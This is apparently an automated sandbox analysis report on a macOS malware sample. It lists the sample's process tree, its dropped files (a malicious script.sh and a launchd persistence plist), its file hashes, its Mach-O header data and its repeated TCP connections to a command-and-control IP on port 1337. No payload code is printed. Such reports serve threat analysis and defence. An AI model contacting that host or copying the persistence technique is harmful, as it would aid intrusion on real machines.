g70Ei8kMg7 (PID: 565 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sudo (PID: 565 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 60ac5909d06d86e22aace3a863b13690)

sudo (PID: 566 PPID: 565 MD5: 60ac5909d06d86e22aace3a863b13690)

chown (PID: 566 PPID: 565 Overlayed Process Image: sudo MD5: cc600d309dc91e491f52c51e0b1821ec)

g70Ei8kMg7 (PID: 567 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sh (PID: 567 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 567 PPID: 552 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

g70Ei8kMg7 (PID: 568 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sudo (PID: 568 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 60ac5909d06d86e22aace3a863b13690)

sudo (PID: 569 PPID: 568 MD5: 60ac5909d06d86e22aace3a863b13690)

launchctl (PID: 569 PPID: 568 Overlayed Process Image: sudo MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

g70Ei8kMg7 (PID: 571 PPID: 552 MD5: 7130faced98c800e6d8b1c42eca7d3dc)

sh (PID: 571 PPID: 552 Overlayed Process Image: g70Ei8kMg7 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 571 PPID: 552 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

xpcproxy (PID: 570 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

script.sh (PID: 570 PPID: 1 Overlayed Process Image: xpcproxy MD5: e26e3fe247d795ea2d21f3eb4e070871)

bash (PID: 572 PPID: 570 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

python (PID: 572 PPID: 570 Overlayed Process Image: bash MD5: 2464fd41f7cf319d0e5c61a7643af77e)

Python (PID: 572 PPID: 570 Overlayed Process Image: python MD5: ba780ab677147d9db60c564ef3f51dd0)

bash (PID: 573 PPID: 570 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

sleep (PID: 573 PPID: 570 Overlayed Process Image: bash MD5: cd4336ba78cb5b78f50d0f935036c332)

bash (PID: 574 PPID: 570 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

python (PID: 574 PPID: 570 Overlayed Process Image: bash MD5: 2464fd41f7cf319d0e5c61a7643af77e)

Python (PID: 574 PPID: 570 Overlayed Process Image: python MD5: ba780ab677147d9db60c564ef3f51dd0)

cleanup

Created / dropped Files

/dev/null
Process:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
File Type:	ASCII text
Size (bytes):	271
Entropy (8bit):	4.93296801346042
Encrypted:	false
MD5:	ED68C6643CE7E329B4E2F7CD935E4F76
SHA1:	E195C22FB2CAECCD00BD02B8B8706F024474E972
SHA-256:	120E8BF09DC1E0D527051BDF7D819B87C14C819078F2532BE5478D4477FCC8E9
SHA-512:	60F2222355448AE64596C0504DD53F2725DC5F69B9FC9003320A9A2647DABDAB912608C6C78B10E34994FCF7021B1775DF95C40B70F7B1248CC08C4AD2C6A666
Malicious:	false
Reputation:	low

/private/tmp/com.startup.plist
Process:	/Users/henry/Desktop/g70Ei8kMg7
File Type:	XML document text
Size (bytes):	356
Entropy (8bit):	5.217648607385835
Encrypted:	false
MD5:	7DE4694985A438E0B81AF81F5A297B6A
SHA1:	C031AA6175F24BAEE319D1C8001979AECE1DC2C3
SHA-256:	80263952FF0B747297A041CEB546222C1216D70F09DF8EAFDC84645633E639CF
SHA-512:	D5F8549DB0DA0730B277ED1B548389C209311E87309E60E3AC2F8C7D917FFBA670957DA4A8CDB203DD07F1D62074A62ABFBF1F605E2F1F8FD4A5336EAFDD41E9
Malicious:	false
Reputation:	low

/private/tmp/script.sh
Process:	/Users/henry/Desktop/g70Ei8kMg7
File Type:	Bourne-Again shell script text executable
Size (bytes):	274
Entropy (8bit):	5.27902207594642
Encrypted:	false
MD5:	E26E3FE247D795EA2D21F3EB4E070871
SHA1:	15A4F216BBA34A9D289E4FB182BF378953EF900F
SHA-256:	E0E0F0EB94293938AB2F0A5A4A6B8D669357638EE5ECFEA7AA9ED537BD93BF0B
SHA-512:	DA3939C5E1A9196306D3E859682EB9A514A1C745D86DBBC3696C68DFF8FAA0BD26E09A1D77F42F7E294A95A77F6D111F3F802ABDD7681E2CC1B8B7168CFB6EF4
Malicious:	true
Reputation:	low

Contacted Domains/Contacted IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	Flag	ASN	ASN Name	Malicious
185.243.115.230	unknown		60781	LEASEWEB-NLNetherlandsNL	true

Static File Info

General
File type:	Mach-O 64-bit executable
Entropy (8bit):	6.3859803821024785
TrID:	Mac OS X Mach-O 64bit Intel executable (20004/1) 70.18% Java Script (6500/0) 22.80% Java Script embedded in Visual Basic Script (2000/0) 7.02%
File name:	g70Ei8kMg7
File size:	35423119
MD5:	7130faced98c800e6d8b1c42eca7d3dc
SHA1:	3bb644b8d74850f5b0da14c18a75659c45affcf9
SHA256:	ced05b1f429ade707691b04f59d7929961661963311b768d438317f4d3d82953
SHA512:	8ef5158a4f3d5c70ac27671a48cf873feaffbc7357196fa8b528c3a230d59cc460d4b6a351575b4cd1e947f985bc1633b4285b8e8c3fbed8b989254ed952abc4
File Content Preview:	....................8...............H...__PAGEZERO..............................................................__TEXT....................N...............N.....................__text..........__TEXT.........................................................

Static Mach Info

General Informations for header0
Endian:	<
Size:	64-bit
Architecture:	x86_64
Filetype:	execute
Nbr. of load commands:	16

segment_command_64

Name	Value
segname	__PAGEZERO
fileoff	0
maxprot	0
vmsize	4294967296
nsects	0
flags	0
filesize	0
vmaddr	0
initprot	0

segment_command_64

Name	Value
segname	__TEXT
fileoff	0
maxprot	7
vmsize	21938176
nsects	9
flags	0
filesize	21938176
vmaddr	4294967296
initprot	5
Datas	sectname	__text
	segname	__TEXT
	reloff	0
	addr	4294970880
	align	8
	nreloc	0
	flags	2147484672
	offset	3584
	reserved2	0
	reserved1	0
	reserved3	0
	size	12377594
	sectname	__stubs
	segname	__TEXT
	reloff	0
	addr	4307348474
	align	1
	nreloc	0
	flags	2147484680
	offset	12381178
	reserved2	6
	reserved1	0
	reserved3	0
	size	3564
	sectname	__stub_helper
	segname	__TEXT
	reloff	0
	addr	4307352040
	align	2
	nreloc	0
	flags	2147484672
	offset	12384744
	reserved2	0
	reserved1	0
	reserved3	0
	size	3826
	sectname	__cstring
	segname	__TEXT
	reloff	0
	addr	4307355872
	align	4
	nreloc	0
	flags	2
	offset	12388576
	reserved2	0
	reserved1	0
	reserved3	0
	size	943759
	sectname	__const
	segname	__TEXT
	reloff	0
	addr	4308299776
	align	12
	nreloc	0
	flags	0
	offset	13332480
	reserved2	0
	reserved1	0
	reserved3	0
	size	6667548
	sectname	__ustring
	segname	__TEXT
	reloff	0
	addr	4314967328
align	4
nreloc	0
flags	0
offset	20000032
reserved2	0
reserved1	0
reserved3	0
size	2804
sectname	__dof_node
segname	__TEXT
reloff	0
addr	4314970132
align	0
nreloc	0
flags	15
offset	20002836
reserved2	0
reserved1	0
reserved3	0
size	2206
sectname	__unwind_info
segname	__TEXT
reloff	0
addr	4314972340
align	2
nreloc	0
flags	0
offset	20005044
reserved2	0
reserved1	0
reserved3	0
size	84172
sectname	__eh_frame
segname	__TEXT
reloff	0
addr	4315056512
align	3
nreloc	0
flags	0
offset	20089216
reserved2	0
reserved1	0
reserved3	0
size	1848352

segment_command_64

Name	Value
segname	__DATA
fileoff	21938176
maxprot	7
vmsize	741376
nsects	12
flags	0
filesize	663552
vmaddr	4316905472
initprot	3
Datas	sectname	__program_vars
	segname	__DATA
	reloff	0
	addr	4316905472
	align	3
	nreloc	0
	flags	0
	offset	21938176
	reserved2	0
	reserved1	0
	reserved3	0
	size	40
	sectname	__nl_symbol_ptr
	segname	__DATA
	reloff	0
	addr	4316905512
	align	3
	nreloc	0
	flags	6
	offset	21938216
	reserved2	0
	reserved1	594
	reserved3	0
	size	16
	sectname	__got
	segname	__DATA
	reloff	0
	addr	4316905528
	align	3
	nreloc	0
	flags	6
	offset	21938232
	reserved2	0
	reserved1	596
	reserved3	0
	size	15368
	sectname	__la_symbol_ptr
	segname	__DATA
	reloff	0
	addr	4316920896
	align	3
	nreloc	0
	flags	7
	offset	21953600
	reserved2	0
	reserved1	2517
	reserved3	0
	size	4752
	sectname	__mod_init_func
	segname	__DATA
	reloff	0
	addr	4316925648
	align	3
	nreloc	0
	flags	9
	offset	21958352
	reserved2	0
	reserved1	0
	reserved3	0
	size	296
	sectname	__mod_term_func
	segname	__DATA
	reloff	0
	addr	4316925944
align	3
nreloc	0
flags	10
offset	21958648
reserved2	0
reserved1	0
reserved3	0
size	16
sectname	__const
segname	__DATA
reloff	0
addr	4316925968
align	4
nreloc	0
flags	0
offset	21958672
reserved2	0
reserved1	0
reserved3	0
size	450456
sectname	__data
segname	__DATA
reloff	0
addr	4317376432
align	4
nreloc	0
flags	0
offset	22409136
reserved2	0
reserved1	0
reserved3	0
size	190600
sectname	__thread_vars
segname	__DATA
reloff	0
addr	4317567032
align	0
nreloc	0
flags	19
offset	22599736
reserved2	0
reserved1	0
reserved3	0
size	24
sectname	__thread_bss
segname	__DATA
reloff	0
addr	4317567056
align	2
nreloc	0
flags	18
offset	0
reserved2	0
reserved1	0
reserved3	0
size	4
sectname	__common
segname	__DATA
reloff	0
addr	4317567072
align	4
nreloc	0
flags	1
offset	0
reserved2	0
reserved1	0
reserved3	0
size	5272
sectname	__bss
segname	__DATA
reloff	0
addr	4317572352
align	4
nreloc	0
flags	1
offset	0
reserved2	0
reserved1	0
reserved3	0
size	71031

segment_command_64

Name	Value
segname	__LINKEDIT
fileoff	22601728
maxprot	7
vmsize	12726272
nsects	0
flags	0
filesize	12723860
vmaddr	4317646848
initprot	1

dyld_info_command

Name	Value
lazy_bind_size	10688
lazy_bind_off	22724664
weak_bind_size	118840
rebase_size	0
export_off	22735352
export_size	1353488
bind_off	22601728
rebase_off	0
bind_size	4096
weak_bind_off	22605824

symtab_command

Name	Value
strsize	7264256
symoff	24149816
stroff	28061332
nsyms	243692

dysymtab_command

Name	Value
extreloff	0
nlocrel	0
indirectsymoff	28048888
modtaboff	0
nextrel	0
iundefsym	243260
nmodtab	0
ilocalsym	0
nundefsym	432
nextrefsyms	0
locreloff	0
ntoc	0
nlocalsym	210586
tocoff	0
extrefsymoff	0
nindirectsyms	3111
iextdefsym	210586
nextdefsym	32674

dylinker_command

Name	Value
name	12
Data	/usr/lib/dyld

uuid_command

Name	Value
uuid	fc34349212093d9fb6cc7d2d55cf375d

version_min_command

Name	Value
version	657152
reserved	658176

dylib_command

Name	Value
compatibility_version	0.150.0
timestamp	Thu Jan 01 01:00:02 1970
name	24
current_version	3584.232.4
Data	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation

dylib_command

Name	Value
compatibility_version	0.1.0
timestamp	Thu Jan 01 01:00:02 1970
name	24
current_version	2561.202.4
Data	/usr/lib/libSystem.B.dylib

dylib_command

Name	Value
compatibility_version	0.1.0
timestamp	Thu Jan 01 01:00:02 1970
name	24
current_version	256.120.0
Data	/usr/lib/libc++.1.dylib

linkedit_data_command

Name	Value
dataoff	24088840
datassize	60976

linkedit_data_command

Name	Value
dataoff	24149816
datassize	0

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2018 07:37:04.267441988 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:05.269747972 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:06.273696899 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:07.275238037 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:08.279784918 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:09.282298088 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:11.286078930 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:15.291418076 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:23.302539110 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:37:39.319745064 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:11.355443001 MESZ	49275	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:24.523853064 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:25.527010918 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:26.528081894 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:27.528316021 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:28.530971050 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:29.531991005 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:31.533932924 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:35.540324926 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:43.550141096 MESZ	49276	1337	192.168.0.50	185.243.115.230
Jul 3, 2018 07:38:59.567827940 MESZ	49276	1337	192.168.0.50	185.243.115.230

System Behavior

Analysis Process: mono-sgen32 PID: 552 Parent PID: 505

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/Library/Frameworks/Mono.framework/Versions/4.4.2/bin/mono-sgen32
File size:	3722408 bytes
MD5 hash:	8910349f44a940d8d79318367855b236

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 552 Parent PID: 505

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 553 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sudo PID: 553 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: sudo PID: 554 Parent PID: 553

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: chown PID: 554 Parent PID: 553

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/usr/sbin/chown
File size:	23312 bytes
MD5 hash:	cc600d309dc91e491f52c51e0b1821ec

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 555 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sh PID: 555 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: ps PID: 555 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/bin/ps
File size:	51280 bytes
MD5 hash:	792e18b1417ac1f184680d2423206e4f

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 556 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sudo PID: 556 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: sudo PID: 557 Parent PID: 556

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: chmod PID: 557 Parent PID: 556

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/bin/chmod
File size:	30016 bytes
MD5 hash:	30e3e10a3e7ad9adfd37662b2e9b4f8a

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 558 Parent PID: 552

General

Start time:	07:37:01
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sh PID: 558 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: ps PID: 558 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/ps
File size:	51280 bytes
MD5 hash:	792e18b1417ac1f184680d2423206e4f

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 559 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sudo PID: 559 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: sudo PID: 560 Parent PID: 559

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: mv PID: 560 Parent PID: 559

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/mv
File size:	24240 bytes
MD5 hash:	7f791dd4bef08d618fece911d6e3398a

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 561 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sh PID: 561 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: ps PID: 561 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/ps
File size:	51280 bytes
MD5 hash:	792e18b1417ac1f184680d2423206e4f

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 562 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sudo PID: 562 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: sudo PID: 563 Parent PID: 562

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: mv PID: 563 Parent PID: 562

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/mv
File size:	24240 bytes
MD5 hash:	7f791dd4bef08d618fece911d6e3398a

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 564 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sh PID: 564 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: ps PID: 564 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/ps
File size:	51280 bytes
MD5 hash:	792e18b1417ac1f184680d2423206e4f

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 565 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sudo PID: 565 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: sudo PID: 566 Parent PID: 565

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: chown PID: 566 Parent PID: 565

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/sbin/chown
File size:	23312 bytes
MD5 hash:	cc600d309dc91e491f52c51e0b1821ec

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 567 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sh PID: 567 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: ps PID: 567 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/ps
File size:	51280 bytes
MD5 hash:	792e18b1417ac1f184680d2423206e4f

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 568 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sudo PID: 568 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: sudo PID: 569 Parent PID: 568

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/sudo
File size:	365760 bytes
MD5 hash:	60ac5909d06d86e22aace3a863b13690

Chronological Activities

Analysis Process: launchctl PID: 569 Parent PID: 568

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/launchctl
File size:	124656 bytes
MD5 hash:	17fad4b994d600d0a5b6bc02b55c2c80

Chronological Activities

Analysis Process: g70Ei8kMg7 PID: 571 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/Users/henry/Desktop/g70Ei8kMg7
File size:	35423119 bytes
MD5 hash:	7130faced98c800e6d8b1c42eca7d3dc

Chronological Activities

Analysis Process: sh PID: 571 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/sh
File size:	618512 bytes
MD5 hash:	8aa60b22a5d30418a002b340989384dc

Chronological Activities

Analysis Process: ps PID: 571 Parent PID: 552

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/ps
File size:	51280 bytes
MD5 hash:	792e18b1417ac1f184680d2423206e4f

Chronological Activities

Analysis Process: xpcproxy PID: 570 Parent PID: 1

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/libexec/xpcproxy
File size:	43488 bytes
MD5 hash:	d1bb9a4899f0af921e8188218b20d744

Chronological Activities

Analysis Process: script.sh PID: 570 Parent PID: 1

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/var/root/script.sh
File size:	274 bytes
MD5 hash:	e26e3fe247d795ea2d21f3eb4e070871

Chronological Activities

Analysis Process: bash PID: 572 Parent PID: 570

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/bin/bash
File size:	618448 bytes
MD5 hash:	a17c5d0e7f7f4f69c6218066c2a3e1b6

Chronological Activities

Analysis Process: python PID: 572 Parent PID: 570

General

Start time:	07:37:02
Start date:	03/07/2018
Path:	/usr/bin/python
File size:	66880 bytes
MD5 hash:	2464fd41f7cf319d0e5c61a7643af77e

Chronological Activities

Analysis Process: Python PID: 572 Parent PID: 570

General

Start time:	07:37:03
Start date:	03/07/2018
Path:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
File size:	51744 bytes
MD5 hash:	ba780ab677147d9db60c564ef3f51dd0

Chronological Activities

Analysis Process: bash PID: 573 Parent PID: 570

General

Start time:	07:38:18
Start date:	03/07/2018
Path:	/bin/bash
File size:	618448 bytes
MD5 hash:	a17c5d0e7f7f4f69c6218066c2a3e1b6

Chronological Activities

Analysis Process: sleep PID: 573 Parent PID: 570

General

Start time:	07:38:18
Start date:	03/07/2018
Path:	/bin/sleep
File size:	18080 bytes
MD5 hash:	cd4336ba78cb5b78f50d0f935036c332

Chronological Activities

Analysis Process: bash PID: 574 Parent PID: 570

General

Start time:	07:38:23
Start date:	03/07/2018
Path:	/bin/bash
File size:	618448 bytes
MD5 hash:	a17c5d0e7f7f4f69c6218066c2a3e1b6

Chronological Activities

Analysis Process: python PID: 574 Parent PID: 570

General

Start time:	07:38:23
Start date:	03/07/2018
Path:	/usr/bin/python
File size:	66880 bytes
MD5 hash:	2464fd41f7cf319d0e5c61a7643af77e

Chronological Activities

Analysis Process: Python PID: 574 Parent PID: 570

General

Start time:	07:38:23
Start date:	03/07/2018
Path:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
File size:	51744 bytes
MD5 hash:	ba780ab677147d9db60c564ef3f51dd0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Classification

Signature Overview

Networking:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Malware Analysis System Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Runtime Messages

Behavior Graph

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Antivirus Detection

Initial Sample

Dropped Files

Domains

URLs

Screenshots

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Public

Static File Info

General

Static Mach Info

General Informations for header0

segment_command_64

segment_command_64

segment_command_64

segment_command_64

dyld_info_command

symtab_command

dysymtab_command

dylinker_command

uuid_command

version_min_command

dylib_command

dylib_command

dylib_command

linkedit_data_command

linkedit_data_command

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: mono-sgen32 PID: 552 Parent PID: 505

General

Analysis Process: g70Ei8kMg7 PID: 552 Parent PID: 505

General

Analysis Process: g70Ei8kMg7 PID: 553 Parent PID: 552

General

Analysis Process: sudo PID: 553 Parent PID: 552

General

Analysis Process: sudo PID: 554 Parent PID: 553

General

Analysis Process: chown PID: 554 Parent PID: 553

General

Analysis Process: g70Ei8kMg7 PID: 555 Parent PID: 552

General

Analysis Process: sh PID: 555 Parent PID: 552

General

Analysis Process: ps PID: 555 Parent PID: 552

General

Analysis Process: g70Ei8kMg7 PID: 556 Parent PID: 552